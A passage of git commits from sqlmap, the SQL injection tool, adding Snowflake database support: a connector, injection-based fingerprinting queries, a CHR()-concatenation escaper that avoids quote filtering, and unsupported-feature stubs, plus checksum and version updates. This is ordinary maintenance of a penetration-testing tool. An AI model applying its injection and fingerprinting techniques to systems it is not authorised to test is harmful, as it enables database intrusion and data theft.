(DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) diff --git a/plugins/dbms/snowflake/__init__.py b/plugins/dbms/snowflake/__init__.py new file mode 100644 index 00000000000..e15e4b327df --- /dev/null +++ b/plugins/dbms/snowflake/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SNOWFLAKE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.snowflake.enumeration import Enumeration +from plugins.dbms.snowflake.filesystem import Filesystem +from plugins.dbms.snowflake.fingerprint import Fingerprint +from plugins.dbms.snowflake.syntax import Syntax +from plugins.dbms.snowflake.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SnowflakeMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Snowflake methods + """ + + def __init__(self): + self.excludeDbsList = SNOWFLAKE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SNOWFLAKE] = Syntax.escape diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py new file mode 100644 index 00000000000..8fefd39cb78 --- /dev/null +++ b/plugins/dbms/snowflake/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import snowflake.connector +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://www.snowflake.com/ + User guide: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector + API: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector-api + """ + + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + self.initConnection() + + try: + self.connector = snowflake.connector.connect( + user=self.user, + password=self.password, + account=self.account, + warehouse=self.warehouse, + database=self.db, + schema=self.schema + ) + cursor = self.connector.cursor() + cursor.execute("SELECT CURRENT_VERSION()") + cursor.close() + + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(getText(query)) + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py new file mode 100644 index 00000000000..a92bd7c9c55 --- /dev/null +++ b/plugins/dbms/snowflake/enumeration.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Snowflake it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + def getHostname(self): + warnMsg = "on Snowflake it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def searchDb(self): + warnMsg = "on Snowflake it is not possible to search databases" + logger.warning(warnMsg) + return [] + + def searchColumn(self): + errMsg = "on Snowflake it is not possible to search columns" + raise SqlmapUnsupportedFeatureException(errMsg) + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on SQLite it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + return {} + + def getStatements(self): + warnMsg = "on Snowflake it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + return [] diff --git a/plugins/dbms/snowflake/filesystem.py b/plugins/dbms/snowflake/filesystem.py new file mode 100644 index 00000000000..7a5da903e5e --- /dev/null +++ b/plugins/dbms/snowflake/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Snowflake it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Snowflake it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py new file mode 100644 index 00000000000..a5a8d794f76 --- /dev/null +++ b/plugins/dbms/snowflake/fingerprint.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SNOWFLAKE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SNOWFLAKE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * https://docs.snowflake.com/en/sql-reference/functions/current_warehouse + * https://docs.snowflake.com/en/sql-reference/functions/md5_number_upper64 + """ + + if not conf.extensiveFp and Backend.isDbmsWithin(SNOWFLAKE_ALIASES): + setDbms("%s %s" % (DBMS.SNOWFLAKE, Backend.getVersion())) + self.getBanner() + return True + + infoMsg = "testing %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CURRENT_WAREHOUSE()=CURRENT_WAREHOUSE()") + if result: + infoMsg = "confirming %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('z')=MD5_NUMBER_UPPER64('z')") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + return False + + setDbms(DBMS.SNOWFLAKE) + self.getBanner() + return True + + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + + return False \ No newline at end of file diff --git a/plugins/dbms/snowflake/syntax.py b/plugins/dbms/snowflake/syntax.py new file mode 100644 index 00000000000..2bef3816037 --- /dev/null +++ b/plugins/dbms/snowflake/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + # Convert each character to its ASCII code and wrap with CHR() + return "||".join(f"CHR({ord(c)})" for c in value) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/snowflake/takeover.py b/plugins/dbms/snowflake/takeover.py new file mode 100644 index 00000000000..22a5f429c26 --- /dev/null +++ b/plugins/dbms/snowflake/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 226f7293cd3..0347815d14e 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -621,7 +621,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -757,7 +757,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 9498efab130..b310dc44126 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -187,7 +187,7 @@ def dumpTable(self, foundData=None): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error From fd9045cbc66fe9b16c0359f7bb8f73cb0fd21588 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 12:01:41 +0100 Subject: [PATCH 025/135] Fixing python2 compatibility issue (#5980) --- data/txt/sha256sums.txt | 21 ++++++++++++++------- lib/core/settings.py | 2 +- plugins/dbms/snowflake/syntax.py | 5 ++--- 3 files changed, 17 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c54b511edf3..b5e59ec93a5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -eeaec8f6590db3315a740b04f21fed8ae229d9d0ef8b85af5ad83a905e9bfd6e data/xml/queries.xml +12078af6bdd45397fc855f30738fba5ecaf9948e526d819d226b229d87db2b43 data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md @@ -164,7 +164,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py -ccec2373f6393f3d644db3de2910e17ef705817063c03e7ca4417f9d7f622527 lib/controller/handler.py +1ecbca13afdc7c2bc8dc215c5d7fca453bf836dbe3ca377609750bfbc4874a85 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 6da126b359e67f73cea7848d3f35dd0890aece16374d04b60490b85e26bf7224 lib/core/agent.py 1da4ec9cd9b67c8b54e4a3d314f8237d58778d8f3a00bc26a1e0540294dca30f lib/core/bigarray.py @@ -175,9 +175,9 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -86fa0ffa7a3e7a7141eab730e3981faf6f0249125ea9a29a57aaa8b65b7503f9 lib/core/dicts.py +76e2c68051c2c1d811d09eec1ca63bc146f4d047708d6296be1460d047743074 lib/core/dicts.py 186f0331d66e861a942817a3321156a93a6f66c34a19ce90ec1d10aac8bc1cac lib/core/dump.py -f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums.py +1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3b6399d22ede02c937ac211fdddfdfd36c67b797d05ef550244dd0f0d72ccce0 lib/core/settings.py +9cd7ec15486c47a3034dffc8b175e8422d69ff475484a922915468be7702caa0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -434,6 +434,13 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 3b49758a10ce88c5d8db081cdb4924168c726d1e060e6d09601796fba2a3fbee plugins/dbms/raima/__init__.py 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py +3f6b19cb38d751a3c8c224253acdec20b1505b480e921b363d19f19a75706ea5 plugins/dbms/snowflake/connector.py +7553b3f7465ebbf2f3440af4f1a166bfdf0f0388002d36451ea598f9ded12bdb plugins/dbms/snowflake/enumeration.py +5184f21115ac73de752177baa01d9b114a3b6fe3131e3a0d9a5c18f179261bb2 plugins/dbms/snowflake/filesystem.py +61ca3b21cbbf59134a7f63f24797e85c35154f62065883c77829b780e9e18301 plugins/dbms/snowflake/fingerprint.py +7f7b26076d6286f75bc29fc54e37de0ef426ee378bc648b07ee0f46f3a375934 plugins/dbms/snowflake/__init__.py +859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py +24413596475935b7c77a3ce1aece4680d32735190341610d9d3e82bbe81f1276 plugins/dbms/snowflake/takeover.py cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6 plugins/dbms/sqlite/connector.py fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752 plugins/dbms/sqlite/enumeration.py 013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355 plugins/dbms/sqlite/filesystem.py @@ -464,8 +471,8 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -ba5d7cdebd0619454ab23b474e36231085f35a70961bfe4e93d5753736799b82 plugins/generic/databases.py -c46904df889742d2c781749e153663cde29a7c77eb8cbaad6d1db3148e9a58bd plugins/generic/entries.py +f4b803320e9681250b90b7d46cd599ec27fd9f2c0f8ccc707f195707551d0bc0 plugins/generic/databases.py +6a62dbe3feddb12b48c4077478668576e62663ebd8d8aa795820199d9588f919 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 266876bda87..5a44082d8ed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.22" +VERSION = "1.10.1.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/syntax.py b/plugins/dbms/snowflake/syntax.py index 2bef3816037..7ba5c8b9f38 100644 --- a/plugins/dbms/snowflake/syntax.py +++ b/plugins/dbms/snowflake/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,6 @@ def escape(expression, quote=True): """ def escaper(value): - # Convert each character to its ASCII code and wrap with CHR() - return "||".join(f"CHR({ord(c)})" for c in value) + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) From 29c5117ee399a450253d1ee8f6b2b00fb4aec9e6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 12:02:57 +0100 Subject: [PATCH 026/135] Bump some years in headers --- data/txt/sha256sums.txt | 14 +++++++------- lib/core/settings.py | 2 +- plugins/dbms/snowflake/__init__.py | 2 +- plugins/dbms/snowflake/connector.py | 2 +- plugins/dbms/snowflake/enumeration.py | 2 +- plugins/dbms/snowflake/filesystem.py | 2 +- plugins/dbms/snowflake/fingerprint.py | 4 ++-- plugins/dbms/snowflake/takeover.py | 2 +- 8 files changed, 15 insertions(+), 15 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b5e59ec93a5..59534c9a0af 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -9cd7ec15486c47a3034dffc8b175e8422d69ff475484a922915468be7702caa0 lib/core/settings.py +306d40d69dddc0bbd8168e40df4002bb6d666e323f8211780b5c9619cd70c068 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -434,13 +434,13 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 3b49758a10ce88c5d8db081cdb4924168c726d1e060e6d09601796fba2a3fbee plugins/dbms/raima/__init__.py 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py -3f6b19cb38d751a3c8c224253acdec20b1505b480e921b363d19f19a75706ea5 plugins/dbms/snowflake/connector.py -7553b3f7465ebbf2f3440af4f1a166bfdf0f0388002d36451ea598f9ded12bdb plugins/dbms/snowflake/enumeration.py -5184f21115ac73de752177baa01d9b114a3b6fe3131e3a0d9a5c18f179261bb2 plugins/dbms/snowflake/filesystem.py -61ca3b21cbbf59134a7f63f24797e85c35154f62065883c77829b780e9e18301 plugins/dbms/snowflake/fingerprint.py -7f7b26076d6286f75bc29fc54e37de0ef426ee378bc648b07ee0f46f3a375934 plugins/dbms/snowflake/__init__.py +5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py +bca8e2de881b59314e84f361682e810333b63f8211e6aa5f5a4d0efe1d9bcd31 plugins/dbms/snowflake/enumeration.py +3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py +f51afa612135dbc870bd48085baa867f94fe1809ec8123fea8f62bc3720ac619 plugins/dbms/snowflake/fingerprint.py +1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py -24413596475935b7c77a3ce1aece4680d32735190341610d9d3e82bbe81f1276 plugins/dbms/snowflake/takeover.py +da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py cae01d387617e3986b9cfb23519b7c6a444e2d116f2dc774163abec0217f6ed6 plugins/dbms/sqlite/connector.py fbcff0468fcccd9f86277d205b33f14578b7550b33d31716fd10003f16122752 plugins/dbms/sqlite/enumeration.py 013f6cf4d04edce3ee0ede73b6415a2774e58452a5365ab5f7a49c77650ba355 plugins/dbms/sqlite/filesystem.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5a44082d8ed..200bd4d5005 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.23" +VERSION = "1.10.1.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/__init__.py b/plugins/dbms/snowflake/__init__.py index e15e4b327df..c3318596441 100644 --- a/plugins/dbms/snowflake/__init__.py +++ b/plugins/dbms/snowflake/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py index 8fefd39cb78..c24f3ab17b6 100644 --- a/plugins/dbms/snowflake/connector.py +++ b/plugins/dbms/snowflake/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py index a92bd7c9c55..f95e448839c 100644 --- a/plugins/dbms/snowflake/enumeration.py +++ b/plugins/dbms/snowflake/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/snowflake/filesystem.py b/plugins/dbms/snowflake/filesystem.py index 7a5da903e5e..23ba254b08b 100644 --- a/plugins/dbms/snowflake/filesystem.py +++ b/plugins/dbms/snowflake/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py index a5a8d794f76..51215ec7df8 100644 --- a/plugins/dbms/snowflake/fingerprint.py +++ b/plugins/dbms/snowflake/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -93,4 +93,4 @@ def checkDbms(self): warnMsg = "the back-end DBMS is not 